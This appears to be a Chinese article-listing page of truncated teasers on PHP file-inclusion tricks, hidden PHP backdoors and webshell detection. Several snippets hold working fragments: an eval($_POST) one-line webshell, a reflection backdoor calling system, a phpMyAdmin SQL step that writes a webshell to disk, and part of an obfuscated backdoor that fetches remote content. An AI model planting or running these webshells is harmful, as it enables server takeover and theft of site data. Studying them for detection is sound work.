  • 文章目录前言PHP LFI临时文件全局变量存储目录命名规则Windows Temporary FilePHPINFO特性测试代码漏洞分析漏洞利用php7 Segment Fault利用条件漏洞分析代码环境漏洞利用 前言 最近整理PHP文件包含漏洞姿势的时候,...
  • 前一排服务器被放了后门 ***者居然大白天在服务器上面打包整站程序,让人震惊的同时也让我们看清了我们服务器安全,代码安全方面的严重隐患! 这周总结了部分php安全方面的知识,就算浅薄,权当亡羊补牢也好,先记...
  • Windows下的一种PHP隐蔽后门姿势

    千次阅读 2018-12-09 10:58:27
    在Windows中的PHP解释环境中有两个函数能够自动加载...将后门代码写入这两个文件,再修改include_path为后门文件的绝对路径,则Web站点下所有的PHP文件都可以作为PHP后门。 1、修改auto_prepend_file和auto_append_...
  • php后门隐藏技巧

    2019-06-17 05:24:08
    一句话 and 大马phpspy 菜刀一句话<?php@eval($_POST['cmd']);...反射后门<?php$func = new ReflectionFunction($_GET[m]);echo $func->invokeArgs(array($_GET[c]));?>调用如x.php?m=system&c=...
  • 看到Freebuf 小编发表的用这个隐藏于PHP模块中的rootkit,就能持久接管服务器文章,很感兴趣,苦无作者没留下PoC,自己研究一番,有了此文0×00. 引言PHP是一个非常流行的web server端的script语言.目前很多web应用...
  • 转载PHP安全之webshell和后门检测

    千次阅读 2018-01-10 13:59:32
    PHP安全之webshell和后门检测 阅读 1442,2017年03月17日 发布,来源:www.cnblogs.com 基于PHP的应用面临着各种各样的攻击: XSS:对PHP的Web应用而言,跨站脚本是一个易受攻击的点。攻击者可以利用它盗取用户...
  • [PhpMyAdmin后台拿Shell]CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>');select xiaoma1 from xiaoma INTO ...
  • 一款猥琐的PHP后门分析

    千次阅读 2016-09-21 11:31:37
    php error_reporting(0); session_start(); header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",'
  • PHP后门***详解

    2019-05-12 00:04:21
    说起php后门***我就心有愉季啊前不久一个站就因不小心给人注入了然后写入了小***这样结果大家知道的我就不说了下面我来给大家收集了各种php后门***做法大家可参考。php后门***对大家来说一点都不陌生吧但是它的种类...
1 2 3 4 5 ... 20
收藏数 2,057
精华内容 822
关键字:

php shell后门页面